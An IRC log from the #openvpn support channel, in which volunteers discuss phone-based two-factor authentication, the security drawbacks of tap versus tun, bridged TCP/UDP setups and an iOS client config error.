21:04 < Maverick0984> just a cell phone or any phone
21:04 <@krzee> omg
21:04 <@krzee> heh have fun
21:04  * pekster already suggested it wasn't a great solution, but apparenlty it's "required"
21:04 < Maverick0984> then the user hits # and the auth completes
21:04 <@krzee> http://permalink.gmane.org/gmane.network.openvpn.user/11626
21:05 <@vpnHelper> Title: RADIUS-Plugin for authentication and accounting (at permalink.gmane.org)
21:05 <@krzee> thats the radius stuff
21:05 <@krzee> even when you get it working, you'll have the problems pekster mentioned
21:05 < Maverick0984> the "radius stuff" works fine
21:05 <@krzee> and your non-technical users will hate you
21:05 < Maverick0984> i've had that working
21:05 <@krzee> yes the radius stuff will work
21:05 <@krzee> but openvpn will timeout
21:05 < Maverick0984> and the phoen call stuff worked fine with PPTP
21:05 <@krzee> before most responses most likely
21:05 <@krzee> !pptp
21:05 < Maverick0984> but i don't want to have to use PPTP
21:05 <@vpnHelper> "pptp" is (#1) PPTP is known to be a faulty protocol. The designers of the protocol, Microsoft, recommend not to use it due to the inherent risks. Lots of people use PPTP anyway due to ease of use, but that doesn't mean it is any less hazardous. The maintainers of PPTP Client and Poptop recommend using OpenVPN (SSL based) or IPSec instead. http://pptpclient.sourceforge.net/protocol-security.phtml to
21:05 <@vpnHelper> read about why to not use pptp or (#2) Why not to use it: http://en.wikipedia.org/wiki/Pptp#Security or (#3) https://www.cloudcracker.com/blog/2012/07/29/cracking-ms-chap-v2/
21:05 <@krzee> apple vs orange, no point in mentioning
21:05 <+pekster> Just increase the --tls-timeouts to handle the server blockage
21:06 < Maverick0984> just saying that's where it came from...
21:06 <@krzee> pekster, if he uses a plugin it wont block
21:06 <@krzee> like the scripts dop
21:06 <@krzee> do*
21:06 <@krzee> plugins get their own thread
21:06 <+pekster> Ah, okay
21:07 <@krzee> maybe high enough timeouts will fix it
21:07 <@krzee> may as well check i guess!
21:07 <@krzee> Maverick0984, you got my link to radius plugin, right?
21:08 < Maverick0984> yeah, i'm looking at it, but i have radius auth working, what does this get me?
21:08 <@krzee> you have radius auth working on openvpn already?
21:08 < Maverick0984> yeah
21:08 < Maverick0984> works great
21:08 <@krzee> mayve im misunderstanding something then
21:08 <@krzee> whats not working?
21:08 < Maverick0984> 21:05:13 < Maverick0984> the "radius stuff" works fine
21:08 < Maverick0984> heh
21:08 <@krzee> what stuff doesnt?
21:09 < Maverick0984> if i disable the phone call, everything is peachy
21:09 < Maverick0984> it's the phone call being used for 2 factor that is the problem
21:09 < Maverick0984> the client timesout the authentication process
21:09 < Maverick0984> and asks for credentials again during the call
21:09 <@krzee> does the phonecall ever happen?
21:09 < Maverick0984> essentially looping
21:09 <@krzee> ahh ok
21:09 < Maverick0984> yeah, it happens
21:09 <@krzee> ahh ya thats what pekster was saying would happen
21:10 <@krzee> try increasing the timeouts like he said
21:10 < Maverick0984> just a line in teh config files?
21:10 <@krzee> but really, it might just be a shitty way to do 2-factor auth on things that are time sensitive
21:11 <@krzee> also, is there a reason you feel phones are somehow secure?
21:11 <+pekster> There's a reason most rotating-numeric schemes (RSA ID, google auth, etcc) all use a *lest* a 30-seocnd timeout; that's the smallest a user can usually handle
21:11 <@krzee> cause personally i cant think of a less secure device in my arsenal
21:11 < Maverick0984> sigh, this wasn't my decision to use
21:11 < Maverick0984> it's more secure than user/pass
21:12 < Maverick0984> hense, 2 factor
21:12 <+pekster> Not when you combine x509 too
21:12 <+pekster> x509 (something the user has) + user/pass (something the user knows) is the textbook definition of a secure 2-factor scheme
21:12 < Maverick0984> what? it's a second level, even if the second level isn't secure, 2 levels is still more secure than 1 level
21:12 <+pekster> Yes, yes, I'm very well aware of 2-factor auth
21:12 <@krzee> !goodsecurity
21:12 <@krzee> hrm
21:12 <@krzee> !factoids
21:12 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
21:12 <+pekster> You're not combining the 3rd traditional factor, biometric, so what's the point of using the phone?
21:12  * pekster doesn't get it
21:13 <+pekster> Or can you not distributed certs to your users?
21:13 <+pekster> (if you control the client hardware, you surely can)
21:13 <@krzee> !howsecurityworks
21:13 <@vpnHelper> "howsecurityworks" is security can be obtained by: something you have (certificates, usb tokens), something you know (passwords), something you are (biometrics). for best security use more than 1. if you save passwords to a file (!pwfile), you change them from something you know to something you have, which destroys the point of using passwords
21:13 <@krzee> a cert and a phone are both "SOMETHING YOU HAVE"
21:13 <@krzee> so not true 2-factor
21:13 < Maverick0984> still have to input user/pass
21:14 < Maverick0984> which generatesthe phoen call
21:14 <@krzee> then you have 2-factor
21:14 <@krzee> without the phone
21:14 < Maverick0984> it is still something you know and something you have
21:14 <+pekster> Oh, you're using the phone instaed of x509 certs?
21:14 <+pekster> Ish
21:14 < Maverick0984> there is a cert involved as well
21:14 < Maverick0984> whatever pfsense generated
21:14 <+pekster> Client certs?
21:14 < Maverick0984> not unique
21:14 <@krzee> the phone adds nothing except time
21:14 <@krzee> not unique!?
21:14 <@krzee> so you replaced proper PKI with phones
21:15 <@krzee> srs?
21:15 <+pekster> Public Kalling Infrastructure ;)
21:15 <@krzee> haha
21:15 < Maverick0984> it is still encrypted and is still user/pass required
21:15 <+pekster> I mean, it works, but it's a really nasty, colvoluted solution requiring the user to accept a phone call. What do they do if the cell has a dead battery, or has no service?
21:15 < Maverick0984> sigh, again, this wasn't my choice, i'm merely trying to make it work
21:16 < Maverick0984> criticizing "my" design isn't helping
21:16 <+pekster> Meh. Try the openvpn radius plugin (may resolve blocking) or add a timeout
21:16 < Maverick0984> i can't use any kind of plugin like that, the server is running on pfsense
21:16 <@krzee> im not much into stacking piles of crap on top of eachother, adding paint, and trying to call it complete
21:16 <+pekster> You already have our suggestions. Unless you need more help understanding them, you're not likely to get a pat-on-the-back for what you're trying to do. I get it isn't your choice, but I still think it's stupid (and pity won't change that)
21:16 < Maverick0984> it's not a normal install
21:16 <@krzee> i support pekster's last statement ^
21:17 <@krzee> and yes, changing timeouts is a line in the server config
21:18 < Maverick0984> it's still something you have + something you know, following the very thing you linked, at this point, you guys are just being arrogant.  not all of the users have smart phones so google auth or anything like it isn't an option.  additionally, it is a start up where money isn't bountiful, so purchasing RSA ID hardware isn't an option either.
21:18 <@krzee> im glad ive never had to work for people that force me to impliment fail… so far everyone who has ever paid me to do work has done so because they feel that i am mentally well equipped to impliment win without them forcing fail upon me
21:18 <+pekster> Side note: your employer must not like things to work, since they don't let you do multi-factor in the most efficient way *and* also prevent you from using an OS where you can make the plugin work? Fun. Last I checked, pfsense could let you build the software yourself, unless you're also "prohibited" from doing it
21:19 <+pekster> krzee: Ugh, same comment, basically :P
21:20 < Maverick0984> i just got done explaining how both of your proposed other methods are not applicable, if you aren't even going to read what i type, why am i even here...sigh, forget it
21:20 < Maverick0984> thanks i guess
21:20 -!- Maverick0984 [maverick@poundcs.org] has left #openvpn []
21:20 <+pekster> Lovely
21:20 <@krzee> people are funny
21:21 <+pekster> "becuase I'm not allowed" is not a technical reason. It's a social one. And yes, he has a social problem with his employer, and maybe he can hack a solution together. Hopefully he (or she) is paid very well, becuase that sounds really stressful
21:21 <@krzee> i HIGHLY doubt hes forced to that level of fail
21:21 <+pekster> Some shops are so "MS-centric" that even when implementing non-MS solutions, they force you to use as much of the MS-crap as they can. I just don't work for such people :)
21:22 <@krzee> that part i believe is forced
21:22 <@krzee> but using improper PKI and phones, that part i doubt is forced
21:22 <+pekster> I've done Openvpn+Linux/Unix+Radius+2-factor before, and it works great. Even securely too, if you can talk an AD admin into getting you the required LDAPS certs for the domain (that's actually a PITA, since you MUST install "Certificate Services" on a bloody domain controller. Thanks Redmond)
21:23 <+pekster> No, it's not enough to install cert services on a mere domain member server ;)
21:23 < NuclearMeltdown> krzee, oh clever
21:23 <@krzee> NuclearMeltdown, ya its pretty cool!
21:23 <+pekster> I laughed when I saw that KB article, and we just used our semi-secure unroutable management VLVAN for the traffic. If they can hack that VLAN, they deserve to MITM the RADIUS auth was the idea
21:24 <@krzee> so if you wanted, you could use 4 routes to override those 2, using the exact same idea
21:24 <+pekster> VLAN*
21:24 <@krzee> !cidr
21:24 <@vpnHelper> "cidr" is http://www.oav.net/mirrors/cidr.html
21:24 <@krzee> that would be a handy link if doing so
21:24 <+pekster> krzee: But, with IPv6 we can recurse even more!
21:24 <@krzee> muahaha
21:24 <+pekster> Haven't you always wanted to stack 64 VPNs on top of each other?
21:25 <@krzee> lets make a 64 vpn deep vpnchain
21:25 <@krzee> with inner vpns and everything
21:26 <@krzee> pekster, did i ever point you to my writeup on vpnchains where i gave my findings when doing a vpn in a vpnchain?
21:26 <+pekster> My 2-factor for your most-inner tunnel is going to be Morse-Code-Exchange of a PSK with someone on the south pole research station. If you can't get a contact, you can't connect. Because security.
21:26 <@krzee> hahahaha
21:26 <@krzee> i luled
21:27 <+EugeneKay> vpnception
21:27 <@krzee> nice!
21:27 <@krzee> https://www.secure-computing.net/wiki/index.php/OpenVPN/VpnChains
21:27 <@vpnHelper> Title: OpenVPN/VpnChains - Secure Computing Wiki (at www.secure-computing.net)
21:27 <@krzee> after turning client-b into another server, and connecting the laptop to that over the first vpnchain, i got BETTER throughput over that than the vpnchain
21:28 <@krzee> only slightly, but quite surprisingly
21:29 <+pekster> Basically a 'poor-mans-onion' netnwork
21:30 <+pekster> I did something silly like that with IETF 'special use network' ranges using PtP connections. It was very silly
21:30 <+pekster> I think you saw the pastebin of that :P
21:31 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
21:31 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
21:33 <+pekster> krzee, I wonder if the slight increase in perf throughput was the result of the measurement (ie: iperf) traffic using tcp, and something weird about the window or scaling. You might have had different results with 'iperf -u'
21:33 <+pekster> It's almost negligable, but tuning tcp opts often has very subtle changes like that
21:34 <@krzee> could be, too bad i didnt know ya 2.5 yrs ago ;]
21:34 <@krzee> cause i totally dont care to do it again
21:34 <+pekster> Right
21:34 <@krzee> well at least not now
21:34 <+pekster> It's a very silly thing to test unless you don't know what to do with your free time
21:35 <@krzee> im sure ill get another reason to setup some more vpnchains at some point
21:35 <+pekster> Go get IPv6 set up at your netework before you do this again
21:35 <@krzee> that sort of setup is why i learned enough to write !route
21:35 <@krzee> im sure thats a surprise, but its true lol
21:35 <@krzee> that sort of setup will FORCE you to understand iroute
21:36 <@krzee> hell, i had to dig into the code to understand it (so glad they do good commenting in the code!)
21:36 <+pekster> Real-world networking has enough complexities I don't care to create them needlessly when I'm at home
21:36 <@krzee> im into darknet building, it has real-world uses ;]
21:37 <@krzee> in the case of that test, one need not fully trust a few of the machines in the middle to use them in the darknet
21:38 <+pekster> Yea, darknet is just a shorthand way to explain Internet recursion
21:38 <@krzee> i dont help people directly with vpnchains too often tho, i simply tell them to understand !route good enough and the rest figures itself out ;]
21:38 <+pekster> tor is kind of a darknet in that sense, although they have gateways connecting both sides to eachother breaking the disjoined aspect
21:39 <@krzee> .onion is more darknet than tor itself, but i see what you mean and agree
21:40 <+pekster> Yea, I meant their tld
21:40 <+pekster> Otherwise it's a glorified cryptographicly secure anonymous proxy
21:42 <@krzee> in that case i slightly misunderstood and now fully agree without needing to liberally read into it ;]
21:42 <@krzee> i love watching my apps tell me what people in the office are doing
21:44 <@krzee> they watch the db for certain types of changes and message me about who does what, without anyone except me, the owner, and now the other 169 people in here knowing
21:45 <@krzee> one of the things that makes my $job so much cooler than Maverick0984's $job, i get to come up with cool ideas like that, and impliment them
21:46 <@krzee> nobody ever says "no, do it like this" they just say a variation of "cool, thanks for implimenting your ideas"
22:11 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
22:12 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
22:20 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
22:26 -!- mnathani [~zee@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
22:47 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Quit: Leaving]
--- Day changed Sun Feb 03 2013
00:49 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out]
00:53 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
01:05 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
01:06 -!- bjh4 [~bjh4@67.87.105.111] has quit [Ping timeout: 245 seconds]
01:25 -!- Porkepix [~Porkepix@host239-185-dynamic.31-79-r.retail.telecomitalia.it] has joined #openvpn
02:11 -!- Sickness\ is now known as sickness\
02:11 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
02:16 -!- sickness\ is now known as Sickness\
02:16 -!- Sickness\ [~stront@wolfenstein.enemyterritory.org] has quit [Changing host]
02:16 -!- Sickness\ [~stront@unaffiliated/s-work] has joined #openvpn
02:44 -!- eugenmayer [~EugenMaye@HSI-KBW-109-193-196-063.hsi7.kabel-badenwuerttemberg.de] has joined #openvpn
02:45 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has joined #openvpn
03:26 -!- Sickness\ is now known as sickness\
03:31 -!- sickness\ is now known as Sickness\
03:34 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
03:42 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 276 seconds]
03:46 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:47 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
03:52 -!- Porkepix [~Porkepix@host239-185-dynamic.31-79-r.retail.telecomitalia.it] has quit [Quit: Computer has gone to sleep.]
04:01 < eugenmayer> iam sorry, but iam here again :)
04:02 < eugenmayer> After being able to setup the routed approach to merge to differen (VPN) networks, in my case the TCP and UDP one, i would like to the same with the bridged network, but with a slightly different approach. It makes a lot of effort in this specific network to deal with the new ip range, lets say 10.66.0.0 and 10.66.1.0 .. so i want to avoid this and go the "bridge approach"
04:03 < eugenmayer> i have found something here http://serverfault.com/questions/173307/sharing-an-ip-pool-for-two-openvpn-instances-one-tcp-and-one-udp .. but basically its just creating to tap devices with the same IP range, then bridging them to a new device, right?
04:03 <@vpnHelper> Title: dhcp - Sharing an IP pool for two openvpn instances (one TCP and one UDP) - Server Fault (at serverfault.com)
04:05 <+pekster> Do you really need Layer 2 (Ethernet) connections between the 2 instances?
04:05 <+pekster> If you're using IP (ie: IP addresses) to communicate, you don't need briding at all
04:06 <+pekster> !tunortap
04:06 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
04:06 <@vpnHelper> over the vpn or (#4) lan gaming? use tap!
04:08 < eugenmayer> pekster: for that specific network yes. I have 6 routed, 1 bridged
04:09 < eugenmayer> i switched all networks from tap to tun a while ago, since EugeneKay adviced it. But with this one, i have to keep bridged and thats just fine
04:09 <+pekster> What protocol requires L2?
04:10 <+pekster> Outside of excotic use-cases like BGP, game broadcast advertisements, or multicast, you generally don't really need a bridged setup
04:11 < eugenmayer> pekster: one reason is multicast, the other is an application / maintaince reason
04:12 <+pekster> That said, sure, you can create a bridge an include tap0, tap1, and some physical device, and given the right firewall rules they'll all be on the same L2 link
04:12 <+pekster> tap0/tap1 binds to your two TCP/UDP instances, and eth0 to whatever the physical link is. Figure out some way to unify the addressing between them and it all works
04:13 < eugenmayer> pekster: unifying is ensure due to ccd
04:15 < eugenmayer> nice, it just worked
04:15 < eugenmayer> pekster: to be hones, looking at how compfortable this was with the bridged setup, its really a big plus for TCP/UDP merged networks
04:15 <+pekster> Only if you really need L2 visability. Otheriwse it's really inefficient with broadcasts, ARPs, and the overhead
04:16 < eugenmayer> because of CCD, i have now to do a lot more firewall-exceptions in those routed UDP/TCP networks, since the UDP guys have not there "original" ip
04:16 <+pekster> Just stick all the VPN networks in a supernet and be done with it
04:16 < eugenmayer> its just in our case,  a lot of ports are client-specific firewalled .. and if you have a client with 10.77.0.12 .. and he connects with TCP havin 10.77.1.12 ..even if the networks are routed..you have to adjust every single FW rule
04:16 <+pekster> If you declare 10.20.0.0/16 as your VPN range, that gives you up to 256 /24's to allocate to VPN networks
04:17 <+pekster> The right high-level choices when laying out a network make life easier down the road
04:17 < eugenmayer> hmm, but that still wont help me in this case, or?
04:17 < eugenmayer> i mean, the TCP client MUST have a different IP then the UDP client ( same client ) in routed setups, right?
04:18 < eugenmayer> (dont get me wrong, i absolutely get your idea, but for that firewall exceptions, i will not really help, as long a client can connect using TCP or UDP)
04:18 <+pekster> Sure. Use a --client-connect script to firewall them if that's what you want. I did this easily for "contract" accounts that connected to my former employer's network. They were only allowed to go to specific hosts/ports due to security concerns
04:18 <+pekster> Right. Set up your stuff properly and it won't matter where they connect or what IP they have
04:19 < eugenmayer> Wait, just stick to that
04:19 <+pekster> Your setup is really inscure if you trust the IP, becuase you do realize a client can set their own IP on the tap network, right?
04:19 < eugenmayer> pekster: hm, i though he will not be able to communicate through the tunnel anymore, since openVPN secures that?
04:19 < eugenmayer> (call me stupid, i might be wrong on this)
04:19 <+pekster> In tap you've just given the client direct Ethernet access to anything on the bridge
04:20 < eugenmayer> so thats only valid for tun?
04:20 <+pekster> Right, in tun an openvpn server drops traffic that is sourced from an invalid address
04:21 <+pekster> In tap it only cares about the MAC since it's a Layer 2 connection
04:21 <+pekster> tap = OSI Layer 2
04:21 <+pekster> tun = OSI Layer 3
04:21 <+pekster> In other words, you're doing your security completely wrong
04:22 < eugenmayer> well no and yes
04:22 <+pekster> It's like a MAC filter on some home firewall. Sure, it might keep the random stranger from connecting to you, but it's not "secure"
04:22 < eugenmayer> lets say for the tap devices iam doing basically bad..but its not that IP based FW is the only secure-protocoll. Its still kes and so forth..its just a generic approach
04:22 <+pekster> Yes, the data is protected. But "any" client any use "any" IP on a tap-based VPN
04:22 < eugenmayer> for the tun networks it seems to be better. But yeah, thanks for open muy eyes here
04:23 <+pekster> You can even perform attacks like ARP-spoofing
04:23 < eugenmayer> if i have IP based fw rules an i would siwthc to bridged for easier TCP/UDP network rules, i just fk it up
04:23 < eugenmayer> pekster++
04:23 <+pekster> A VPN client on your tap VPN can ARP-posion any client on either VPN or the physical network you've bridged. This includes your default gateway
04:24 < eugenmayer> Is that one of the reasons you dont avice tap ?
04:24 <+pekster> Indeed.
04:24 <+pekster> If your reason is "it's easier to firewall" you're doing it wrong to begin with
04:24 <+EugeneKay> Plus it eats kittens.
04:24 <+EugeneKay> Please, think of the kittens.
04:24 <+pekster> Yes. That too :P
04:26 < eugenmayer> EugeneKay: well in my software-developer job i kill kittens all day
04:26 <+pekster> /usr/local/sbin/openvpn --sacrifice-kitten --dev tap0 ...
04:26 < eugenmayer> as 30% of my time i do PHP, and that kills em all
04:26 < eugenmayer> so it does not really matter for me, iam sorry. Kittens are all dead by now
04:27 < eugenmayer> Iam a bad person, i know
04:27 < eugenmayer> eugenmayer--
04:27 <+pekster> L2 isn't bad if you're using it for the right reasons. As seen in the bot's comment above, most people don't
04:27 <+pekster> Usually folks use it as a crutch for something better handled through correct network layout
04:28 <+pekster> Very few things on the modern Internet/WAN actually need L2
04:29 < eugenmayer> EugeneKay: explained me, how i potentially could switch to tun with my specific need pekster, but as usually, i did not understand a single word of what he said
04:29 -!- catsup [d@64.111.123.163] has quit [Read error: Connection reset by peer]
04:29 < eugenmayer> (me being the reason)
04:30 <+pekster> The only valid reason you listed is multicast. Do you really need multicast over the VPN? What's the use-case there?
04:31 < eugenmayer> One reason for me is, that my automated application deployment does ip-based vhosts setups for the maintainance network, means:. The client has his own interface, lets say eth0, could be anything. The applcation is deployed for his network on a specific ip (auto setup) …. now for the maintainance vhost we use the VPN, were the server of the customer is a client, lets say one ip of 10.66.0.0 ...
04:32 < eugenmayer> One issue is, if the tun interface goes down, e.g. the customers network-connection drops, firewall tests or our VPN server detonates, all services bound to that IP do crash
04:32 < eugenmayer> since there is no interface with network left
04:32 <+pekster> If your application crashes becuase it can't reach an internal VPN-assigned IP, you've screwed up way before OpenVPN
04:33 <+pekster> OpenVPN can't fix stupid programming practices
04:33 < eugenmayer> pekster: no, its not reaching..its rather daemons
04:33 < eugenmayer> like mysql but also vhost configurations
04:34 <+pekster> Oh, so you're binding to the IP on the tun interface?
04:34 < eugenmayer> yes, thats the issue
04:34 <+pekster> Solve that by binding to *:port and firewall it
04:34 <+pekster> Use the wildcard address to bind
04:34 <+pekster> Or bounce services bound to a VPN IP when the VPN goes down. --up and --down sscripts can hook into this for you if you want
04:35 < eugenmayer> yeah, its sounds that simple, but since this is all automated, of course that is a huge ammount of work .. firewalling is easy..i do the firewalling anyway, no matter what i bound to
04:35 < eugenmayer> ( i do not need to add anyting new to the firwall, thats what i meant, its up there to cut anyting else off anyway…its deny all with only a few exceptions.no matter what the services bound to)
04:36 < eugenmayer> pekster: well i have to think about that and test it. Thanks for calrifying even more what downsides bridged networks have
04:37 <+pekster> You really don't need Ethernet at all. Last big company I had a regular gig at, they had thousands of remote servers (some physical, many virtual) with a VPN IP running all sorts of stuff: ssh, java apps, and some other stuff. It all worked fine over a tun setup. If your apps don't, you've designed them poorly
04:37 <+pekster> (openvpn, btw)
04:37 < eugenmayer> well its not a application issue, its a deployoment/infra issues
04:38 <+pekster> "Deployment" = "some application that does stuff" at a high level
04:38 < eugenmayer> the applactions does not care of all (of course), its rather deamons going down
04:38 <+pekster> "daemons" "deployment" ... you're doing a great job of failing to explain what *network* protocols you *need* ethernet-level connectivity for
04:38 < eugenmayer> yeah, i might seperate them differently. Application (the one we sell) .. anything else "infrastructure" but i get your point, it does not matter for you
04:39 < eugenmayer> i dont need OSI level 2 at all, thats for sure. We dont need multicast "really" here
04:39 < eugenmayer> there is one network we need that, thats our proxmox network, since the cluster-setup uses multicast to find its nodes
04:40 -!- julius [~julius@141.41.92.122] has joined #openvpn
04:40 < eugenmayer> (the network all proxmox nodes are connected) but in the end, i dont have any other network relying on multicast
04:40 -!- julius is now known as Guest32238
04:41 < eugenmayer> I dont want to waste your time even more. You have been  a really great help to me. I will initiate a sprint to see how we can change that network to a routed one
05:05 -!- eugenmayer [~EugenMaye@HSI-KBW-109-193-196-063.hsi7.kabel-badenwuerttemberg.de] has quit [Ping timeout: 252 seconds]
05:18 -!- dazo_afk is now known as dazo
05:35 -!- mode/#openvpn [-v pekster] by ChanServ
05:58 < spitf1r3> Hi. Does anybody here use OpenVPN Connect for iOS?
06:10 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
06:15 < kisom> spitf1r3: I do
06:16 < kisom> Spent yesterday and the day before that on getting everything to work, doing trial rollouts atm :)
06:16 < spitf1r3> I got a strange problem:
06:16 < spitf1r3> 2013-01-31 14:30:01 EVENT: CONFIG_FILE_PARSE_ERROR option_error: remote option not specified [ERR]
06:16 < spitf1r3> 2013-01-31 14:30:01 EVENT: DISCONNECT_PENDING
06:16 < spitf1r3> And I DO have remote in my config file
06:17 < kisom> Pase your client config somewhere.
06:17 < spitf1r3> and it's resolvable
06:17 < spitf1r3> ok
06:18 < spitf1r3> can I msg you?
06:19 < kisom> Just paste it on www.pastebin.ca
06:19 < spitf1r3> http://pastie.org/6033049
06:19 -!- mattock_afk is now known as mattock
06:19 < spitf1r3> oh
06:20 < spitf1r3> that's an old one..
06:20 < spitf1r3> hold on
06:21 < spitf1r3> http://pastie.org/6033062
06:22 < spitf1r3> Short message says VPN-On-Demand configuration error: CertificateRef undefined
06:23 < kisom> Seems legit. Try adding verb 7 and check the logs on your ipad
06:23 < spitf1r3> And it does that no matter if I have a certificate uploaded to my iPod as ca/crt/key
06:23 < spitf1r3> or unified
06:23 < spitf1r3> or installed in iOS from p12
06:24 < kisom> spitf1r3: Can you try with my unified config file? I know it works
06:24 < kisom> http://www.pastebin.ca/2310334
06:24 < spitf1r3> I did try that
06:24 < spitf1r3> with the same result
06:25 < spitf1r3> but I need to make sure what do I need to put there
06:25 < spitf1r3> :)
06:25 < kisom> Just paste your ca, certificate and key in their respective "xml" tag
06:26 < spitf1r3> this is what I used: http://pastie.org/6033073
06:27 < kisom> spitf1r3: Set verb 7 in whatever configuration you're using and upload the iOS client log somewhere
06:27 < spitf1r3> ca.crt as <ca> mieszko-ipodtouch4.key as <key> and mieszko-ipodtouch4.crt as <cert>
06:27 < spitf1r3> of cource the contents of these
06:28 < spitf1r3> parts form -----BEGIN CERTIFICATE----- to -----END CERTIFICATE-----
06:28 < spitf1r3> kisom: I just need to know if I pated right stuff to right fields. These certs have been generated by openvpn-easy-rsa
06:28 < spitf1r3> so should be fairly standard by naming
06:29 < kisom> spitf1r3: Yes, that's correct. But according to what you said before the certificates are not the problem here
06:29 < spitf1r3> okay
06:30 < spitf1r3> but short message in ovpnconnect says: "VPN-On-Demand configuration error: CertificateRef undefined"
06:30 < spitf1r3> that's why I want to make sure
06:31 < kisom> OK
06:31 < kisom> I'll continue helping you when you've sent me the verb 7 log files.
06:33 < spitf1r3> ok
06:33 < spitf1r3> and the log is EXACTLY the same (ok, the hour is different)
06:34 < spitf1r3> and that's the WHOLE log. Only 2 lines
06:34 < kisom> OK
06:35 < kisom> So I assume OpenVPN fails to parse your config and then complains that the remote directive is missing.
06:35 < spitf1r3> and a very similar config (but with p12) works on my android phone
06:36 < spitf1r3> (same server)
06:36 < kisom> Try with the config file I posted.
06:36 < kisom> I also had issues with some other config files
06:37 < kisom> Just change the cipher and your remote server
06:37 < spitf1r3> auth-user-pass is for authenticating with user/password?
06:37 < spitf1r3> I'm authenticating with a crt ONLY
06:37 < kisom> Same
06:37 < kisom> I just leave it blank
06:37 < kisom> At least on my testing setup
06:39 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
06:39 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
06:40 < spitf1r3> I don't know the cipher, I didn't specify it in server config
06:40 < spitf1r3> what is the default?
06:40 < kisom> Comment it out then
06:40 < kisom> The default one is blowfish-128 if i remember correctly
06:43 < spitf1r3> it's the same..
06:43 < spitf1r3> I've tried to ping the host, and it resolves correctly
06:46 < spitf1r3> kisom: any ideas?
06:46 < kisom> spitf1r3: Working on it, sec
06:47 < spitf1r3> Just to make sure: you are using Official OpenVPN COnnect from AppStore, not GuizmoVPN from cydia?
06:47 < kisom> Yes
06:47 < spitf1r3> because GuizmoVPN used to work for me
06:53 < spitf1r3> I need to go, and will be away for next 30 minutes. But I do have an always-on IRC client, so you can write me, and I won't miss it.
06:53 < kisom> OK, great.
06:53 < spitf1r3> When I'm back, I'll ping you
06:53 < spitf1r3> same nick, same all
06:54 < spitf1r3> and I'll b able to test it from another network then, too.
06:54 < kisom> spitf1r3: Try this profile when you're back: https://stormhub.org/dump/iOS-Test-Profile.ovpn
06:58 < kisom> Tell me when you're back and I'll enable that certificate you can connect
06:58 -!- mattock is now known as mattock_afk
07:02 -!- master_of_master [~master_of@p57B5233B.dip.t-dialin.net] has quit [Ping timeout: 255 seconds]
07:02 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Read error: Connection reset by peer]
07:03 -!- master_of_master [~master_of@p57B554B3.dip.t-dialin.net] has joined #openvpn
07:22 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
07:25 <+EugeneKay> I think it goes without saying that posting private keys in a public IRC channel is a very, very bad idea.
07:26 < spitf1r3>  I'm still on the move, but I can tell that my android phone fails to connect with this profile
07:27 < kisom> EugeneKay: Why is that? That specific certificate doesn't have permission to do anything.
07:27 <+EugeneKay> ......It's just a general principle of sanity.
07:27 <+EugeneKay> Private keys. It's in the name.
07:27 < spitf1r3> kisom: so I guess it won't work on ios as well
07:27 < kisom> spitf1r3: I'm logged on to that specific profile as we speak, on iOS
07:28 < spitf1r3> okay
07:28 < spitf1r3> well try itinn few minutes when I'm back
07:29 < kisom> spitf1r3: Try it again now
07:29 < kisom> On android, that is
07:31 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
07:32 < kisom> spitf1r3: I see you on the server
07:32 < spitf1r3>     worked on android
07:32 < kisom> Yeah I was denying that certificate before, that's why you got an error
07:34 -!- Eagleman [~Eagleman@vpn.eagleman.net] has left #openvpn []
07:55 < spitf1r3> I'm back
07:55 < spitf1r3> hold on, I'll try it on iOS
08:05 -!- b1rkh0ff [~b1rkh0ff@178.77.15.65] has quit [Ping timeout: 255 seconds]
08:08 <@plaisthos> yeah: Author: Samuli Seppänen
08:08 <@plaisthos> :D
08:09 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
08:13 -!- mattock_afk is now known as mattock
08:18 -!- b1rkh0ff [~b1rkh0ff@178.77.21.150] has joined #openvpn
08:20 < kisom> spitf1r3: Did it work?
08:20 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
08:25 < spitf1r3> kisom: I get the same error...
08:25 < spitf1r3> I'll remove this app
08:25 < spitf1r3> and try again..
08:26 -!- Eagleman [~Eagleman@84.107.205.159] has joined #openvpn
08:26 < kisom> spitf1r3: What iOS version are you on?
08:27 < spitf1r3> 6.0.1
08:27 < spitf1r3> Jailbroken
